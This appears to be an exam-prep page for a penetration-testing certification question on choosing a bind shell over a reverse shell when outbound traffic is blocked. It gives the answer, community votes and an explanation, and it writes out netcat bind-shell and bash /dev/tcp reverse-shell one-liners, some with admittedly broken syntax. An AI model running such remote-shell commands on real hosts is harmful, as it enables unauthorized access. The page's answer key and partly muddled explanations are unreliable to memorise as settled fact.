Which Shell Type Works When Outbound Firewall Blocks Traffic?
After compromising a remote host, a penetration tester is able to obtain a web shell. A firewall is blocking outbound traffic. Which of the following commands would allow the penetration tester to obtain an interactive shell on the remote host?
Community Votes
71% of anonymous learners picked answer C. Votes are pick records left by other test-takers — they are not the verified answer.
Community Insight
The question tests your ability to choose a bind shell (listener) over a reverse shell when outbound traffic is blocked; many test-takers incorrectly choose reverse shells.
When a firewall blocks outbound traffic, a penetration tester needs a bind shell, not a reverse shell; the community supports Option C as correct despite potential syntax omissions.
Choosing Option A (bash reverse shell) is the most common error because it looks like a standard interactive shell, but it initiates an outbound connection that the firewall will block.
Community Discussion (3 comments)
Comments & Corrections
No comments yet — spotted an error or have a note? Share it below.
Expert Analysis
Why the Answer Is Correct
Option C (nc -vlp 8443 /bin/bash) is the intended answer because it creates a listening socket on the compromised host, allowing the attacker to connect inbound. Since outbound traffic is blocked, a bind shell is the only way to get an interactive session. Community comment [2] explicitly notes that a reverse shell attempt (Option A) would be blocked by the outbound firewall.Why the Other Options Are Wrong
Option A (bash -i >& /dev/tcp 8443 0>&1) is a reverse shell that attempts an outbound connection, which the firewall blocks. Options B and D are also reverse shells using netcat to connect from the remote host to the attacker; B is missing the attacker IP and D uses -v (verbose) instead of -l (listen), so neither establishes a bind shell. Community comment [3] provides a detailed explanation that outbound restrictions make reverse shells impossible.Community Comment Notes
Comment [1] points out that logically a listener (-l) is needed, but also notes that the -e flag is missing in the printed option, which may be a typo in the exam. Comment [2] reinforces that Option A's outbound connection would be blocked. Comment [3] offers a ChatGPT-generated explanation, further clarifying that a bind shell is required. These comments collectively affirm that while the syntax is imperfect, the correct intent is clearly Option C. Official Reference
Exam Strategy
On exam day, see "outbound traffic blocked" and immediately look for a listen/bind shell option. Practice netcat syntax both with and without -e so you can recognize the intended answer even if the option is incomplete.